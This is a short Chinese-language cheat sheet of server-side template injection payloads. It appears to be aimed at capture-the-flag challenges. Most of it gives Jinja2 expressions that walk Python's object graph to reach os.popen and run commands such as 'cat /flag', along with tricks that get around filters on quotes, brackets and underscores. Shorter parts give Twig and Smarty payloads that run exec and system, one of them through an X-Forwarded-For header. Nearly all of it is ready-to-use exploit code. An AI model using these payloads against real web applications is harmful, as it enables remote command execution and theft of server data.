使用的框架不同,模板引擎的解析符号也不同。


#一、python的SSTI攻击过程(Jinja2)
?name={{''.__class__.__base__.__subclasses__()}} # 查看所有可用类
从上面的可用类中找到os的索引下标,比如是132
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__}} # 查看os的所有可用方法,看是否有popen
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('cat /flag').read()}} # 利用popen方法进行命令执行,并通过read()方法使执行结果回显到页面上
# 一个payload例子
{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('cat mNo4pQ9rS1T').read())}}
##其他引用
config:{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
url_for:
{{url_for.__globals__}} # 查看所有可用类(可用于过滤小括号的情况下)
{{url_for.__globals__['current_app'].config}}
{{url_for.__globals__.os.popen('cat /flag').read()}} # 过滤 中括号[] 可绕过
get_flashed_messages:
{{get_flashed_messages.__globals__}}
{{get_flashed_messages.__globals__['current_app'].config}}
lipsum:{{lipsum.__globals__['os'].popen('cat /flag').read()}}
get_flashed_messages:{{get_flashed_messages.__globals__['os'].popen('cat /flag').read()}}
##若过滤的单引号,则利用传参的方式赋值:
request.args.x—-> 通过x传参来赋值(参数逃逸)
{{[].__class__.__base__.__subclasses__()}} #列表的方式
从上面的可用类中找到os的索引下标,比如是132
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__}} # 查看os的所有可用方法,看是否有popen
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.x](request.args.y).read()}}&x=popen&y=cat /flag
request.args.x get传参
request.values.x 所有参数
request.cookies cookie参数
request.headers.x 请求头参数
request.form.x post传参
过滤下划线绕过
{{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag
二、PHP攻击过程(Twig)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag
嵌入php脚本display_weather.php
{php}
include("/path/to/display_weather.php");
{/php}
全部的PHP条件表达式和函数都可在{if}中使用
X-Forwarded-For: {if phpinfo()}{/if}
{if system('ls')}{/if}